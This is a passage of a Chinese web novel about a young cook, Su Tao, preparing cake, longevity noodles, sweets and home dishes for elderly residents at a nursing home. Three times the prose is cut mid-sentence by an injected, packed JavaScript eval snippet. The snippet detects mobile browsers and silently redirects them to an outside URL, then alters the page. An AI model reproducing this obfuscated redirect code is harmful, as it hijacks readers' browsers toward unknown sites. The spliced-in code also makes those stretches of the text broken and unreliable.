其中豆浆也是苏桃自己做的，用豆浆机打好豆浆在锅里熬出来。山药用的也是铁棍山药，营养更加丰富，并且在山药丢入锅中之前，应该用勺子碾压成泥。这碗汤炖出来，浓白醇厚，非常好看，再赋予冰糖甜滋滋的味道，更是诱人。 眉小艺将美龄粥倒进大桶的同时，老人们就被吸引了过来。钟晓兰盛了一碗美龄粥，拿勺子轻轻搅动，里面食材丰富，并且出锅几款食材都是白色的，颜色干净纯粹。尝上一口，丝滑香甜，每一口都有不同原料交织在一起的丰富口感，软绵好消化，淡淡的甜香气好喝到令人惊叹。 钟晓兰是第一次喝上美龄粥，她从不知道粥还可以做得如此丝滑：“天哪，我第一次见到白的像雪一样的粥，但居然这么好喝。” “是啊，这可是民国时期传下来的粥，而且他们说，粥如其名，美龄粥是可以美容减龄的。你瞧瞧这食材，也全都是对身体好的东西。我可得多喝点。” 钟晓兰正沉醉于美龄粥的口感，旁边的姜厚琴突然问她：“明天是不是生日会啊？就是每个月一次，老人们一起庆祝的生日会。” 钟晓兰拍一下大腿：“哎呦，还真是。一般唐院长也会准备好多礼物啊、好吃的什么的。不过我现在对礼物不感兴趣，我只是很好奇，小苏会准备什么好吃的？” “我也期待呢！那你明天可得穿的漂漂亮亮的。” “那当然了。这个月刚好是我生日，上回我小孙女给我做了件短袖，可好看了，上面印着卡通图案，是小孙女画的画，找人印上去的，画的什么海底世界里头的水母啊、小丑鱼都有，惟妙惟肖。我看她呀，将来等往艺术上发展发展了。” “好啊，你穿上，到时叫我们瞅瞅，给你拍张照！” “那是那是，得留作纪念。去年我还没在养老院，没赶上自己的生日月，看你们拍的那些照片那么好，贴在公告栏里，我也很羡慕呢。” 钟晓兰说着，目光定在了姜厚琴的托盘上，因为姜厚琴正在吃一道蒜蓉油麦菜，只见她盛了很多的油麦菜，两口就吃完了，然后又端着托盘去盛了。回来之后，米饭上都盖满了蒜蓉油麦菜。 “我没拿这个菜，真有这么好吃吗？”钟晓兰好奇。 姜厚琴给她夹了一些：“你尝尝，小苏调制的这个蒜蓉汁，好吃的不得了。” 22. 奶油蛋糕＋茶树菇长寿面 因为要举办七月当月的生日会，第二天，苏桃特意将早餐做得简单了些，但清火大米粥、青菜鸡丝粥、南瓜粥都是有的，主食是不同内馅的荤素搭配包子，还有小黄瓜、大拌菜、肉丝西芹等几道佐餐小菜。早餐结束后，老人们都等待着上午的美食，苏桃开始准备生日会的蛋糕。 外面院子里已经开始搭起台子，工作人员和一些志愿者将台子旁布置上花朵、彩带，还要摆放一张大大的桌子，盖上漂亮的餐布。这张桌子上，要放那个最大的蛋糕。 七月过生日的老人都换上了自己最喜欢的衣服，叔叔们多半是西装革履，有的甚至还穿了燕尾服，手里拿一杯装进玻璃杯的牛奶，晃啊晃的，看上去真有绅士风范。女士们要么是穿成套的套装，要么是漂亮的连衣裙，有的画了淡淡的妆容，还把头发高高挽起，戴上珍珠项链，气质比平时更好，各个光彩照人。 眉小艺去外面瞧一瞧，跑回了食堂：“哇，叔叔阿姨们今天又帅又靓，真养眼啊！”她看向苏桃，“小苏姐，现在我需要做什么？” 苏桃已经准备好了低筋面粉、牛奶、鸡蛋等，告诉眉小艺：“你需要把蛋黄和蛋白分离出来，把蛋白打发。” 眉小艺于是磕开鸡蛋，用辅助工具小心翼翼地分离出蛋白，把电动打蛋器打开，快速地将蛋白打发，在其中加入砂糖以后，继续用电动打蛋器搅拌，最终蛋白越打越多，变成将打蛋器上提起来呈现一个固态的小尖角的样子，就可以了。 接下来蛋黄也要做成蛋黄糊。低筋面粉中加入牛奶和食用油，用z字形的搅拌法慢慢搅拌，在这个过程中，慢慢加入蛋黄。蛋黄糊做好以后，就可以将打发好的蛋白拌入蛋黄糊，拌好以后，蛋糕糊倒入模具，在桌面上磕两下，让气泡消失，再放入烤箱烘烤。 奶油也是苏桃自制的，将准备好的淡奶油倒入已经提前冷藏好的大盆里，打蛋器的头也要冷藏过，这样是为了保证打发出来的效果更好。奶油倒入后再放入少量的糖，打发一会儿，奶油就慢慢成型了。 眉小艺在旁边惊叹：“原来奶油是这么做出来的，好神奇啊！小苏姐，我能尝试一下吗？” 苏桃把打蛋器递给眉小艺，眉小艺操作了一会儿，等奶油被带起来的形状呈现尖角，就停止了打发。由于奶油是给老人们吃的，尽量不用色素，所以唐院长和苏桃的意思都是，做成水果蛋糕，奶油用白色的即可。 等苏桃把蛋糕烤好后，直接将奶油装进裱花袋，在烤好的蛋糕坯上涂抹上一层奶油。提前准备好的杏仁儿和核桃碾成杏仁碎、核桃碎，将它撒在蛋糕体中间的夹层中，放上一些草莓切片，再盖上一片蛋糕体，继续挤上奶油。 为了水果蛋糕显得不单调，苏桃在蛋糕体旁边挤出各种白色的花纹，像裙边一样好看，然后在蛋糕体上方的一圈放上一层蓝莓和红色的树莓，错落摆放，中间一层是紫红色的车厘子，再上面是切成碎块儿的金黄色芒果，再依次填入红色火龙果粒、绿色青提、奇异果、橙子粒等。 水果满满当当，但错落有致，覆盖在蛋糕体上，看起来丰富得不得了。眉小艺不禁惊叹：“没想到水果蛋糕也能做得这么漂亮，看起来像一幅艺术画儿！” 苏桃像插花一样对待眼前的作品，用细小的水果粒点缀空余的地方，比如蛋糕体最下面一层靠近底部托盘的部分，也像海浪一样点缀了一层各式各样不同的水果，上下呼应，样子好看极了。 对老人们来说，吃奶油蛋糕绝对是一次不可多得的奢侈，毕竟甜食不能多吃，并且生日会每个月只有一次。 所以等到场地布置好，苏桃和眉小艺将蛋糕端上布置漂亮的餐桌的时候，老人们都惊呼：“哇，好漂亮的蛋糕啊，看起来就让人有食欲，好久没吃蛋糕了，真是想念这一口！” 通常情况下，每个月的生日会，当月过生日的老人会许愿，一起吹蜡烛，分切蛋糕，这时候蛋糕体一般还能剩不少，其他老人也都能领到一份，跟着过生日的老人们沾沾喜气，然后等待那个生日会轮到自己的当月，自己就会成为新的活动主人公了。 老人们闻到蛋糕香气，已经有些迫不及待了。武甜悠刚好是7月过生日的老人之一，迫不及待道：“我们现在可以吃蛋糕了吗？流程都走完了吗？” 旁边的老人白慈之告诉她说：“还没呢，还有领礼物的环节。” “等会儿再领好不好？我现在就想吃蛋糕了，闻起来真的好香啊！” 老人们异口同声，目光都看向漂亮的大奶油蛋糕。于是这一次，吃蛋糕在领礼物之前进行了，每个人最终都分到一块切开好的三角形蛋糕。蛋糕的夹层中也富含很多水果，一口咬下去，蛋糕松软绵密，奶油香甜可口，苏桃选择的水果又十分新鲜，每一个味道都入口丰富，一口咬下去，蛋糕体和奶油和草莓一起，层次非常丰富。 “哇，这蛋糕怎么会这么好吃啊？以前我在外面超市也喜欢买一些小蛋糕吃，那奶油不少都齁甜，虽然我喜欢吃，但是吃几口就腻了。小苏的奶油入口即化，带着淡淡的清新，好像怎么也吃不腻的样子。” “你没发现吗？小苏做的蛋糕里还有自制的果酱呢，青提果酱，哇，我头一次见到这种果酱，但是一口下去，居然可以这么清爽。” “是啊，好好吃哦，好想明天再继续过生日了。”老人们手里都拿着一只白色的小托盘，或站着或坐着，吃得那叫一个陶醉忘我。 见老人们迟迟不来领礼物，工作人员只好主动将礼物下发，交到这个月过生日的老人手中，女士是一整套洗护套装，男生则是新的剃须刀，看起来包装精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737761|173116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美，礼物都是唐院长精心挑选的。 生日当天吃完了蛋糕，肯定还要吃长寿面。苏桃这碗长寿面做得非常清淡，汤虽然清淡，她却也不少下功夫。大锅熬汤，熬出高汤色泽，再在其中放入排骨、茶树菇，继续煮炖，出锅时，放入溏心蛋和菜心。 只是这面就颇有讲究了，面粉中需要加少量盐，这样能让面粉拉出来显得更筋道，不容易被扯断。面团做好后要盖上保鲜膜，醒发一段时间，然后将面团揉搓成长条，表面刷油，继续醒发。 等面条醒发结束，用手拉拽长条的两头，面条中间部分在案板上摔打，让它的形状能够拉拽到更长。每个老人的面都要保证不断，这样才得长寿的寓意，也就是说，一碗面当中只有一根面，要足够长，保证每个老人都能吃饱。 眉小艺看了也很想学，拿起一根长条不停拉拽，这面越拉越长：“奇怪，小苏姐你做的面真的很劲道，拉起来果然不易断裂。”她不由用崇拜的眼神看向苏桃。 一根面长长的丢入锅中，熬煮好后，浇上高汤，上面浇上菜码，好看又好吃的长寿面就做好了。 长寿面被端出去的时候，老人们都被新的香味所吸引。老人康可梦第一时间拿到了一份面，轻轻用筷子将菜码和面拌开，然后咬了一口：“哇，这味道好鲜香，简直让人吃到停不下来。” 因为心里一直想着不能咬断，她小心翼翼地往嘴里吸溜，吃到碗底赫然发现，碗下方的四枚胡萝卜片分别镂刻雕刻出“生日快乐”四个字。康可梦感到惊喜万分，看向身旁的潘柳雪：“哎呦，你碗底也有诶，小苏可真有心，用萝卜雕刻这么精致的花样，刀工还真是厉害，这么小的一片萝卜都能雕出字样了，真是不得了！” “是啊，你快尝尝这汤，鲜美的很。”潘柳雪只顾低头喝汤，半晌才抬头回应。 康可梦尝了两口，竖起大拇指，然后一股脑将所有长寿面的汤都喝得干干净净：“我还能再吃一碗吗？”康可梦问工作人员，工作人员告诉她说：“可以。” 今天这碗长寿面就是午饭，因为担心几顿饭吃得太近，老人们会消化不动，所以当天的生日庆祝美食就把午饭给覆盖了。不过，生日会是全天的，下午苏桃还会做其他的好吃的，绝对不会让老人们饿到。 “真期待下午呀，午觉睡醒就能吃到吗？不过我确实还得再吃一碗长寿面，太香了。”康可梦说着，正打算进食堂，就看见眉小艺端着好多碗长寿面出来，整个将大托盘放在桌面上。 吃完长寿面的老人们纷纷又开始吃起了第二碗，并感慨道：“这长寿面上面的溏心蛋做的可真好啊，金黄色的溏心，我最喜欢吃这种熟度的蛋了！” “茶树菇炖的真好吃，小排也好软烂鲜香，这绝对是我吃到的最好吃的长寿面了！” 23. 黑芝麻核桃糯米卷＋鱼香肉丝盖饭…… 家家乐养老院的生日会办得很热闹。除了美食、送礼以外，还有各种小游戏，老人们参与其中，也可以得到一些小的礼品。比如在提前准备好的白板上，一个老人画画，和他配合的队友要猜测画的是哪个成语，连续答对三个还可以再领一个神秘小盒子。 老人们被白板上画的千奇百怪的画逗得捧腹大笑，一时间，现场气氛欢乐无比。 到了12点半，场地还留在那里，老人们依次散去，他们要回去午睡了。今天苏桃中午没有休息，直接赶着去做下午的点心。她要做一份黑芝麻核桃糯米卷。 准备好糯米粉、芝麻、红糖、核桃，苏桃将糯米粉倒入大盆内，水温是有讲究的，不能太凉，用热一点的水或者开水都可以。搅拌之后，再把它揉成光滑的面团，把盆底其他的糯米粉都沾干净，保证手光、面光、盆光。 做好的面团，需要把它擀平，放在锅里，锅底刷油，整个面皮紧紧地贴住锅边，在锅里蒸20分钟后，面皮就熟了。 馅料要单独准备，核桃、黑芝麻、红糖，全部将它碾碎，甜度就用红糖本身的甜味，这就做好了馅料，虽然简单却营养丰富，味道也不甜腻。把馅料用勺子摊开，放在刚刚蒸好的面皮上。 眉小艺看到这步恍然大悟：“我明白了小苏姐，接下来要把面皮卷起来。” “没错。”苏桃说着让眉小艺动手尝试。眉小艺按照苏桃所说，从一边轻轻地把面皮卷起，带着中间的馅料，一层又一层。卷成长条以后，在平底锅里刷油，将糯米外层两面煎一下，煎至表皮微微发黄、带着焦香气的时候，就可以出锅了。 这时候将糯米长条切开，就能看到里面一层一层的馅料和糯米卷在一起，形成了层次丰富的甜点。黑芝麻核桃糯米卷出锅了，香味从食堂飘散出来。 恰好老人们中午休息结束，也都重新回到场地。 一般生日会下午的惯例是，唐院长会在养老院宿舍楼以外的地方放置一些小小的隐藏礼物，老人们要四处寻找，谁找到了就算谁的。这种礼物通常放在树枝上、凳子底下、观礼台后面等等。对老人来说不算太难，就看谁运气好、眼力好。 不过苏桃这会儿把黑芝麻核桃糯米卷一端上来，寻找中的老人们都步子一顿，突然调转了方向，朝餐桌涌过来。 老人秦香微穿着一条桃红色裙子，刚刚让好友拿相机给拍了照，这会儿赶紧小跑过来，拿了一块黑芝麻核桃糯米卷，白色的糯米外皮包裹着黑色馅料，层数非常多，看起来像一只小小的驴打滚。 “哎呀！小时候我家里就做年糕吃，怎么吃也吃不够。那会儿我家里人吃得都烦了，连年糕的样子都不想再见到，只有我一个人，无论什么时候，看见端上年糕，我都喜欢的不得了。所以我对这糯米的食物，那是都相当感兴趣！” 旁边的高浩友是她的闺蜜，20年前就认识，关系一直好到现在，她可太了解秦香微了：“是啊，每次过节，我看你都要买年糕吃。” 秦香微这会儿咬了一口黑芝麻核桃糯米卷，馅料酥酥脆脆，甜蜜细腻，糯米黏润，她忍不住“哇”的一声叫出来：“小苏做的这馅料真好吃啊，黑芝麻的香气和坚果的香气好浓郁，跟糯米搭配得恰到好处，甜丝丝的，我实在好喜欢！” 高浩友平时不怎么吃糯米，她尝了一口，也被味道惊艳，“哇，好软糯啊，口感也太好了吧，我还想再吃一块儿。” 她拿的时候整个托盘里都不剩几个了，眼疾手快又拿了一只黑芝麻核桃糯米卷，几口就吃了下去。等盘子里的糯米卷都吃光了，大家才想起来还有刚才的活动找礼物呢，于是又各自散开了。 不过也有些老人始终没有走太远，他们担心待会儿苏桃做完点心出来，自己会赶不及吃到第一批，所以就在餐桌旁边打转。 食堂后厨，苏桃、眉小艺又在准备制作枣泥糕了。她们准备了一大筐的红枣，红枣每个个头都很饱满，又大，捏下去很有韧性，说明红枣晾晒得很好，不是软塌塌的，而是有点劲道的。 眉小艺在旁边负责的就是给红枣去核，用工具把核一个一个挑出来。这个过程有些费时间，挑出来的红枣放在另外的盆子里，蒸个20分钟，红枣全部蒸软以后，苏桃用勺子将它全部压碎。她没有将红枣完全按压成枣泥，而是保留了一些颗粒的部分，这样吃起来枣肉更加凸显，口感更好。 接着再用之前做蛋糕的方式，蛋白打发以后，与混合着蛋黄、枣泥、红糖、面粉的混合物翻拌在一起。其实只用红枣来做枣泥，颜色会浅一些，没那么好看，所以红糖这一步很关键，红糖可以为整个糕点增色，让它变成好看的红色糕点。 将混合好的糊糊放入烤箱，半小时以后，枣泥糕做好了，从烤箱里拿出来以后，原本的枣泥糊变得挺立起来，要等它晾凉以后，再将它切块。 很快，眉小艺将枣泥糕用大托盘端到外面餐桌上，大声喊了一句：“枣泥糕做好了，叔叔阿姨，快来尝一尝！” 刚才的找礼物环节结束了，这会儿老人们都分桌而坐，打起了麻将或者扑克牌，不想玩的就坐旁边看着，大家乐呵呵的有说有笑。一听见眉小艺的声音，老人们从凳子上站起来的速一个比一个快，“蹭”的一下，一个箭步就窜上前。 枣泥糕呈红褐色，气孔非常均匀，拿在手里软硬适中，一口咬下去，浓郁的枣味袭来，季西望好吃到陶醉，立刻伸手，又拿了两块捧在手里，坐回了位置。 “苏桃这枣泥糕味道这么醇厚，咋能做的这么好吃呢？”旁边的白叔夸赞道。 “你看这枣泥糕里还有些坚果碎，呦！核桃仁给了不少呢。小苏这点心给的料真足啊，太好吃了！” “那是，红枣可是补血行气，很养颜的呢，多吃肯定是有好处。我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15743137|173116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以前更年期那会儿，脸色可不好看，朋友都说我苍白苍白的，没有血色。去看了老中医，人家就说，没事，回家呀，多吃红枣。我就用红枣泡水，一天泡七颗在杯子里。过一段时间嘿，我脸色都红润了。所以这枣泥糕，多吃点对身体有好处。” “别说，小苏的枣泥糕跟外头做的还真不一样，不知道她是什么配方，味道比外头要浓郁很多。” “我猜大概是枣的品种选的好，而且放得比较多。”众人说着话，一托盘的枣泥糕很快就被席卷一空。 老人们今天吃了不少甜点，到了晚上，也基本吃不下太多了。所以院长唐悦心的意思是，晚上简单一些，做一个盖浇饭就可以了。苏桃想了想，打算用现在厨房的食材做一个鱼香肉丝盖饭。 一说起鱼香肉丝，眉小艺很兴奋：“小苏姐，我最爱吃鱼香肉丝了，我知道要准备什么食材！” 苏桃拿出瘦肉，眉小艺则从冰箱里拿出胡萝卜、木耳、青椒、冬笋、葱姜蒜等。瘦肉不能直接炒，鱼香肉丝的肉要提前腌制，切成细丝以后，加上盐、生抽、料酒，用手抓拌均匀，等待一会儿。那边苏桃就开始准备其他食材，把所有的食材都切成丝。 鱼香肉丝这道菜好吃，最主要的是鱼香肉丝的调汁比较经典，放入提前准备好的高汤、水淀粉，再加入醋、酱油、豆瓣酱、蚝油、少量白糖提味，这样料汁就调好了。 起锅烧油，葱姜蒜爆香以后，肉丝倒进去翻炒，接下来倒入调料汁，最后将比较好熟的素菜一起倒入，让酱汁裹满每一根肉丝、蔬菜丝，大火收汁，等到酱汁变得粘稠，就可以关火了。做出来的鱼香肉丝红油鲜亮，香味扑鼻。眉小艺都忍不住一阵猛吸：“哎呀，太香了。没想到鱼香肉丝的做法并不难，将来我在家里就可以给自己做起来吃了！” 提前焖好的米饭，被眉小艺盛入一个个盘中，苏桃将鱼香肉丝浇在米饭上，这样鱼香肉丝的浓郁汤汁就可以渗进香软好吃的米饭，一粒粒米被酱汁包裹着，简直诱惑无比。 食堂门开了，老人们在门口已经等了20分钟，门一开就呲溜一下窜了进来，直接在打饭处端了个盛满的盘子。鱼香肉丝的香气不停地往她鼻子里钻，老人元抱石拿着勺子，将一口鱼香肉丝拌着米饭送入嘴中。 “哎呦呦，我的老天呐，怎么能做的这么好吃？这鱼香肉丝盖在饭上也太下饭了吧？” 本来这肉丝就被腌制的又滑又嫩，配菜也做得脆脆爽爽，尤其是那冬笋，咬进嘴巴里，酸甜可口，味道真是一绝。元抱石很快就把这一盘鱼香肉丝吃了个精光。 他真的好奇，怎么自从小苏来了家家乐养老院，元抱石就总感觉自己吃不饱的样子，刚吃完一顿，看见下一顿，食欲就又被调动起来了。 “不管了，再拿一盘去。”果不其然，到了打饭处，不止他一个人光盘，不少老人们都要再拿第二次。 24. 海盐柠檬饮＋葱油鸡腿 忙完以后，苏桃和眉小艺告别回到家。苏桃特意给苏小糯带了海盐柠檬饮，蓝色和黄色搭在一起的色泽相当好看。 饮料中淡淡的蓝色来自于蝶豆花的染色。这种蝶豆花的染色原理是因为它本身具有一种蝶豆素，在饮料当中，可以呈现出淡蓝色如大海一般的清雅。同时，它还具备抗炎的作用，对人体有好处。 一开门，苏小糯见到还有海盐柠檬饮，兴奋得一蹦三尺高，紧紧抱住了苏桃：“哇，真的好漂亮啊！”她连忙接过饮料，插上吸管。蓝黄色的液体进入口腔的瞬间，苏小糯睁大了双眼：“哇，好清新呐！酸酸甜甜的，姐姐，你做的饮料真的好好喝啊，我好像喝到了海洋的味道。” 苏桃给苏振岳、沈婉柔也各带了一杯。这段时间苏振岳、沈婉柔给自己做过多次思想工作，认清了作为厨艺天才苏桃的父母，他们竟然真的是两个厨房杀手的事实。 但喝到海盐柠檬饮，他们仍然惊喜不已：“太好喝了吧！” 当初在豪门落魄之前，沈婉柔就喜欢到各种精致的酒店去喝下午茶，一杯上千元的饮料，上面放着些金箔装点门面的那种，她也喝过，那会儿挥金如土毫不吝惜。不过那些饮料只是看起来格外好看，尝起来味道也就那样。她从来想不到女儿的饮料可以做得这么好喝。 看到家里人都喜欢自己做的东西，苏桃也很有成就感。等苏小糯喝完了一整杯海盐柠檬饮，洗漱一番睡下以后，苏桃才洗漱一番躺在床上，缓缓进入梦乡。 第二天早上，苏桃去菜市场和眉小艺采购完，把大兜大兜的蔬菜放在三轮车上。正在旁边散步的街坊大叔看见以后，忍不住问：“小姑娘，我一直想问问你们是哪里的？每天早上买这么多菜！而且据我观察，你这段时间买的菜的量比之前还要更多些。” 眉小艺说道：“小苏姐是家家乐养老院的大厨，我是帮手，跟她一起负责采购。因为现在来吃饭的人也越来越多了，养老院住户的家属有不少办了月卡的，人数增加了，我们备的菜肯定也多一些。” 街坊大叔不由震惊：“原来是那边养老院的。不过，养老院的饭菜这么受欢迎吗？” 眉小艺笑道：“有空的话，大叔可以去尝一尝的。” “真的吗，好啊！”街坊大叔笑呵呵地走开了。 回到家家乐养老院，苏桃开始做起今天早餐，其中一份主食就是葱花鸡蛋饼。做这种鸡蛋饼调配面糊非常有讲究，面粉和鸡蛋、葱花必不可少。把清水换成牛奶，将整体口感带一点奶香气会更好吃。 面粉和牛奶混合之后，用筷子搅拌均匀，变成细腻一点的糊糊，再加入鸡蛋还有少许调料。这个面糊既不能太稠，捞出来以后比较坚硬，同样不能太过于稀，这样就失去了鸡蛋饼的韧性。 眉小艺在旁边观摩着，看苏桃打开了平底锅的火。平底锅底部抹上油，苏桃将面糊倒进锅里。大大的一张面饼，要烙完一面形成金色的花纹以后，就可以翻面了。两面都煎出了花纹就可以出锅了。热气腾腾带着鸡蛋和葱花的香气，非常诱人。 苏桃还准备了不同的吃法，这种葱花鸡蛋饼卷起来也好吃，打饭处放了准备好的生菜和火腿，眉小艺会在旁边帮忙刷一些自制的涂抹饼的香浓酱料，这样就别有一番风味了。 食堂门一开，老人们涌了进来。 老人郝全能喜欢吃纯粹的葱花鸡蛋饼，不加酱。申贤华则不同，他走到打饭处，问眉小艺：“这个甜面酱能给我多刷一点吗？谢谢了，小姑娘。” 两个人坐在了一张桌子上，郝全能拿在手里的鸡蛋饼散发着热乎乎的温度，摸起来手感软软的。咬上一口，香嫩无比：“就是这个味儿，纯粹！” 郝全能吃着葱花鸡蛋饼，就着腊八蒜、燕麦粥和两道佐餐小菜，吃得那叫一个香。 申贤华则卷着葱花鸡蛋饼，一口咬下去，苏桃自制的甜面酱在口中香气馥郁，加上火腿和生菜的清脆，口感简直绝了。郝全能指给申贤华看：“你看这葱花鸡蛋饼的边缘还挺焦脆呢，好香啊。不过我看你那卷饼的好像也不错哎，闻起来挺好闻的。下回等小苏再做葱花鸡蛋饼的时候，我要试试你那种吃法。” 除了葱花鸡蛋饼，今天早上备受关注的一种食物还有豆腐脑。当地爱喝的是一种卤味豆腐脑。苏桃今天准备了饱满的黄豆，从昨天晚上就开始浸泡，到今天豆子用手捞起来发现都变软了，这个时候就可以用来用豆浆机打浆了。 打完豆浆以后要把豆渣都过滤出去，豆浆液变得十分丝滑以后，就可以将它煮沸，过程中要不停地搅拌。等到豆浆的温度晾到差不多90多度左右，就要点卤。点卤以后放置一段时间，豆腐脑就做成了。 苏桃做的豆腐脑又香又嫩，一吸溜就滑滑地进了口腔。卤汁也很有讲究，加入鸡汤、大骨汤熬制的高汤，放入干木耳、黄花菜、香菇等制成浓浓的卤汁，再把它浇在豆腐脑上，味道别提多好吃了。 石祥满馋这口儿已经很久了，用小勺盛起豆腐脑，不由感慨道：“我还记得年轻时候家门口有家豆腐脑的摊子，就搭了个小凉棚，看着很简陋的样子，我每天上学从那里经过，都会忍不住被那味道吸引，用兜里仅有的钱买一碗豆腐脑。但是吃完那碗豆腐脑，一天的心情都变得很好。不过后来我搬家了，多少年后再回去找的时候，那个摊子也不见了。也是，现在都是要开店了，哪里还有见过在街边卖豆腐脑的？那之后我再喝呀，就没喝过那么香醇酱汁做的、那样用料扎实的豆腐脑了。不过小苏做的这份豆腐脑，还真是勾起了我往日的回忆。” “是啊，我们那个年代吃碗豆腐脑，那可了不得了。有时候豆腐脑小摊到我们村子里，我们几个孩子大人都会围上去，买上一碗吃。白白亮亮又鲜嫩的豆腐脑，可真是记忆里的味道呢。” 早餐结束后，老人们各自散去。苏桃也回到了自己的宿舍休息。醒来后跟眉小艺在院子树荫下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15754048|173116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乘了会凉，回到食堂开始准备午餐。 中午荤菜当中，她打算做一道葱油鸡腿。眉小艺在旁边用流动的水冲洗鸡腿，将它们一个个洗干净，放入旁边的大盆。苏桃将葱姜蒜切片，鸡腿肉剁开以后放在旁边备用。不过苏桃告诉眉小艺要在鸡腿上划上几刀，这样子的话更容易入味儿，眉小艺照做。 接下来苏桃开始蒸制鸡腿肉，把葱片、蒜片铺在盘子底，这样待会儿蒸起的热气能将这味道蒸发侵入鸡腿。在葱片上面摆上鸡腿，开始蒸制。蒸完以后，将鸡肉放在一旁，准备最后一个操作，就是把切好的小葱段放在新到的油里，慢慢煸出葱油，然后端起锅将它浇到铺好葱丝的鸡肉上。 极高的油温能够瞬间激发出葱的香味，让整只鸡都呈现出油亮有光泽的颜色。再放入一点点豉油，将整盘鸡肉和葱油搅拌均匀，这样葱油的蒸制加鸡肉，香味扑鼻。 眉小艺在旁边一直感叹说：“好香啊，我从来没有闻过这么香的鸡肉！” 做好的葱油鸡黄澄澄的，上面还有一些绿色的小葱花，色泽鲜亮，十分好看，葱油鸡腿被倒入食盘，端了出去。 食堂一开，老人们拿起托盘开始盛饭，老人左西兰一闻就口水直流：“我还是第一次见到这种葱油鸡腿的做法，闻起来真不一样呢，很有特色的感觉。” 左西兰夹了一块黄澄澄的鸡肉往嘴巴里送，一咬，浓郁的葱油香气完全渗入鸡肉，好吃到她差点儿把自己的舌头吞下去：“喔！原来鸡肉还能这么做，这也太美味了吧？以前我在家里只知道炖鸡汤给我女儿喝，我女儿都说喝腻了，可以炒个鸡肉，但我做的炒鸡不如鸡汤好喝。要早知道小苏这种做法，我当初也给女儿做这葱油鸡腿吃。” 左西兰一口气吃了好几块鸡腿肉，连带着米饭也扒拉得快了些。果然好吃的菜就比较下饭。 旁边坐着的胡照品突然开口问她：“左妹子，你瞧瞧我这黑眼圈还有吗？” 左西兰看了一眼：“你别说，好像还真淡了些。” “是吧，以前我睡觉的时候胃老是不舒坦，翻来覆去的总睡不着，久而久之就闹出个大黑眼圈来。谁知道最近感觉这黑眼圈慢慢地淡了，也不知道跟小苏的饭菜有没有关系。” “你吃了小苏的饭菜，睡眠是不是能好些？” “是啊，感觉我的胃没有以前那么难受了。看来老话说的对呀，能吃能睡，病就好了一大半儿。” “那是没错呀。”左西兰说着，又夹起盘子的素菜吃。盘子里的每道素菜，哪怕是用来清火的苦瓜、油麦菜，都炒得个顶个的好吃，看起来又鲜又绿的，也很有食欲。 左西兰将盘子里的饭菜吃得干干净净：“胡姐，待会儿咱们去树林底下坐一坐。外头是热了点儿，不过对咱们这帮年纪来说，晒晒太阳是好啊。” 胡照品点点头，将盆子里的菜快速吃光以后，说道：“稍等一等，我再盛几块葱油鸡肉，吃完就去！” 25. 蟹柳滑蛋＋鲜花饼 老人庞阿术的托盘里，盛着一道豆角炒肉，看上去平平无奇，非常家常。她随口夹了一筷子，放进嘴巴里一嚼，不由睁大了眼睛。 她就着豆角炒肉，扒着米饭，忙不迭地吃下两大口，嘴巴里面塞得满满，腮帮子鼓鼓的，才觉得有些满足：“真好吃啊，小苏的手真神奇了！” 其实苏桃做起来并不难。眉小艺刚才帮忙把豆角洗干净，两头豆角筋摘掉，切成段以后，苏桃负责切肉，将肉切成肉丝。炒制的过程，火候很重要，快速翻炒能炒出豆角更多的香味。倒入食用油以后，把肉丝快速倒进去，等到肉丝微微发白以后，就可以把肉丝捞出，重新煸炒豆角。 豆角要用油煸过，苏桃重新起锅烧油，蒜末丢进去快速爆香，豆角放入。这时候要用大火，这样能让香味更多地渗入豆角当中。大火之下，豆角慢慢地变软了，肉丝重新被倒入锅中，放入盐、生抽、胡椒粉等调料，最后出锅再倒入一勺蒜，使得整道菜香气浓郁，滋味充足。 这样，一道简单的豆角小炒肉就做好了。老人们都吃得非常香。 舒苗苗手边放着一碗黑乎乎、丝滑的黑芝麻糊。苏桃做的黑芝麻糊相当细腻，用小勺一舀，流动如丝绸一般光滑。吃进嘴里一口，香甜软糯。 舒苗苗一边喝着黑芝麻糊，一边和庞阿术搭起话来：“小苏这黑芝麻糊做得可真细腻，我刚刚看见，她还做了很多！中午喝完，下午还想喝的话，好像可以每人带两杯走。而且，小苏这黑芝麻糊里似乎还加了别的料哎！” “是啊，你不知道吗？黑芝麻糊原本也会放一些黑米啊、糯米啊之类，用料挺丰富的，所以才会这么好喝。” “你还别说，原本我嘴巴干得不行，喝下半碗黑芝麻糊，嗓子里都润润的，感觉舒服多了。可能是安淮市的夏天太燥了，要多补充一点津液才是。” 在他们桌子后面坐着老张头。对方突然转身问道：“你们这黑芝麻糊从哪拿的？我也想去尝一尝。” 